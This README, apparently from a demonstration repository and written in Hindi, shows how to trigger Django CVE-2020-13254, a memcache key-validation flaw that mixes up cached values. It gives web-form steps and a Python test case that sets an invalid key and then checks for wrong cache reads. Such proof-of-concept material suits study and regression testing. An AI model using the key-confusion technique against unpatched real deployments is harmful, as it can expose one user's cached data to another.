Django CVE-2020-13254

यह रिपॉजिटरी CVE-2020-13254 के शोषण को दो तरीकों से प्रदर्शित करती है – एक वेब इंटरफ़ेस के माध्यम से और एक असफल परीक्षण मामले के माध्यम से।

अधिक जानकारी के लिए देखें:

https://danpalmer.me/2020-06-07-django-memcache-vulnerability/

वेब के माध्यम से शोषण

उदाहरण 2 फ़ॉर्म वाला एक वेब इंटरफ़ेस प्रदान करता है, एक जो कैश में मान सेट करता है और दूसरा जो उन्हें प्राप्त करता है। ये सीधे Django कैश बैकएंड के कॉल में अनुवादित होते हैं। चूंकि कोडबेस कोई सत्र या प्रमाणीकरण प्रणाली लागू नहीं करता है, एक ही ब्राउज़र टैब में कई उपयोग मशीनों के बीच कई उपयोगकर्ताओं से अप्रभेद्य हैं।

शोषण करने के लिए:

1. A और B की कुंजियों को मान a और b पर सेट करें।
2. C D को मान c d पर सेट करने का प्रयास करें। यह त्रुटि देगा।
3. कुंजी A को पुनर्प्राप्त करने का प्रयास करें, गलत तरीके से कोई परिणाम नहीं होगा।
4. कुंजी B को पुनर्प्राप्त करने का प्रयास करें, परिणाम गलत तरीके से a होगा।

परीक्षणों के माध्यम से डेमो

इस प्रक्रिया को एक परीक्षण मामले के रूप में इस प्रकार व्यक्त किया जा सकता है:

from django.core.cache import cache
from django.test import TestCase


class CacheTests(TestCase):
    def test_cache(self):
        cache.set('k1', 'v1')
        cache.set('k2', 'v2')
        try:
            cache.set('a b', 'v3')
        except Exception:
            pass
        self.assertEqual(
            [
              cache.get(x) for x in
              ['k2', 'k1', 'k2', 'k1', 'k2', 'k1']
            ],
            ['v2', 'v1', 'v2', 'v1', 'v2', 'v1'],
        )